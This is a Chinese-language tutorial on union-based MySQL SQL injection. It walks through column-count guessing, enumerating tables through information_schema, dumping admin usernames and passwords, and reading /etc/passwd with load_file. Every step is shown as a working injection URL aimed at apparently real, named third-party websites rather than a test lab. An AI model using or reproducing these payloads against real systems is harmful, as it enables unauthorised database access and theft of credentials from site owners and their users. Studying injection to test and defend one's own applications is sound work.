首先我們在說一下邏輯錯誤跟語法錯誤:
最大區別就是語法錯誤通不過編譯器的編譯,邏輯錯誤則能通過。具體的說就是語法錯誤的意思是該錯誤違背了此種語言的基本規則,比如必須以分號結束語句的語言用點來結束。
邏輯錯誤是指算法上的錯誤。比如循環語句的結束條件沒有寫,語句能通過編譯,但運行後會發生死循環無法跳出的現象。
下面看例子:http://www.jieyanbar.com/jycs.look.php?ID=293
我們加單引號’出錯,就是語法錯誤,因為引號違背了前開後閉的原則。加and+1=2出錯,是邏輯錯誤,計算機設定的就是1不能等於2。
下面我們在說下union:
先到百度搜下union。將兩個或更多查詢的結果組合為單個結果集,該結果集包含聯合查詢中的所有查詢的全部行。說白了就是union就是前後聯合查詢。select a,b,c from d where xx=1 這裡面的1就表現在url上面就是.php?id=1。如果沒有好好的過濾,那麼id=1 union select 後面,就要和前面相等。也就是select a,b,c from d where xx=1 union select 1,2,3才能執行,如果不相等,就是邏輯錯誤。例如: http://www.jieyanbar.com/jycs.look.php?ID=293+and+1=1+union+select+1,2,3 他就提示 The used SELECT statements have a different number of columns 你使用的select語法的字段不一致,就是說你union的字段數只有相等才能繼續,這就需要你一直猜數目了。直到猜到5的時候才返回正常頁面。
接下來說下注入語句:
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,3,4,5+from+adminhttp://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+adminName,0x5c,adminPWD),4,5+from+admin
先說兩個函數:group_concat()是全顯。concat()和concat_ws()是只顯示一個。不過這個辦法未免過笨,因為表和字段的名字都需要猜。
然後在說說爆表和字段的方法:
MySQL有這樣一個information_schema數據庫儲存著數據庫裡面所有的表段名和字段名。 數據庫裡面的表段的名字在information_schema(schema是圖解、計劃、模式、概要的意思)數據庫的columns表段中,名字就叫table_name而字段名字也在這裡,數據庫裡面的名column_name
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,3,4,5+from+information_schema.columns這樣的話,我們可以從+from+information_schema數據的columns表來concat內容。但是上面的語句有個缺點,就是數據庫有好幾個,連information_schema數據庫裡面的表段的名稱也給concat出來了。那就加個where語句: http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),4,5+from+information_schema.columns+where+table_schema=database()。database()是當前使用的數據庫的意思。下面詳細說一下information_schema的結構吧! information_schema有個表叫columns。columns裡面記錄著MySQL裡面所有的字段的名稱,所有的當然這些記錄有屬性column_name是字段的名字,table_name是字段所在表段的名字,table_schema是字段所在的數據庫的名字,那麼帶到注入語句當中就是union select group_concat(table_name) from information_schema.columns。不過,有個問題是,如果一個表x中有3個字段,a,b,c,information_schema.columns裡面的記錄因為abc是三個,所以他們所在的表X就會出現三次。為了避免重復,我們就加個DISTINCT,group_concat(DISTINCT table_name) http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),4,5+from+information_schema.columns+where+table_schema=database() 詳細的意思就是,輸出當前數據庫,全部的不重復的table_name,也就是查詢現在所使用的數據庫裡面都有哪些表段。查表懂了,那麼查字段也就簡單了我們看上面的語句,有個admin表對吧?這裡我們需要把admin進行hex取值(就是換成16進制) select group_concat(DISTINCT column_name) from information_schema.columns where table_name=0x61646d696e (admin的16禁止就是0x61646d696e,在SQL中可以自動識別hex編碼)
如果你不轉化為hex的話那麼where條件就要這麼寫:where table_name='admin'加引號在服務器會出問題。
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name),4,5+from+information_schema.columns+where+table_name=0x61646d696e
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name),4,5+from+information_schema.columns+where+table_name='admin'
意思是一樣的,得到的卻不一樣
然後是關於MySQL的幾個參數:
一般這幾個參數,我都是直接復制的http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,concat(user(),database(),version()),3,4,5
concat(user(),database(),version())
不過這樣就有個問題,[email protected]連成一片了,分不開,這個時候還得用hex,選擇用冒號:來分開這三個參數,冒號的hex就是0x3a
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,4,5
這三個參數中,database()是當前數據庫的名稱,現在用的數據庫的名字叫什麼,database()就顯示什麼user()是數據庫用戶,@前面是用戶名,@後面是數據庫所在的服務器version()是數據庫版本,也就是4.x和5.x
然後還有兩個用法:一個是load_file()。這個函數對權限要求比較高,通常是獨立服務器的大站才有。load_file()意思就是以文本形式讀取硬盤文件。用法是 select load_file('文件路徑');
例如:
http://www.nicegirlproject.jp/event_Info.php?id=-1+union+select+1,2,3,4,load_file(0x2F6574632F706173737764),6,7,8,9,0,11,12
推薦:http://blackbap.org/?p=archive&id=41這個是Linux的文件結構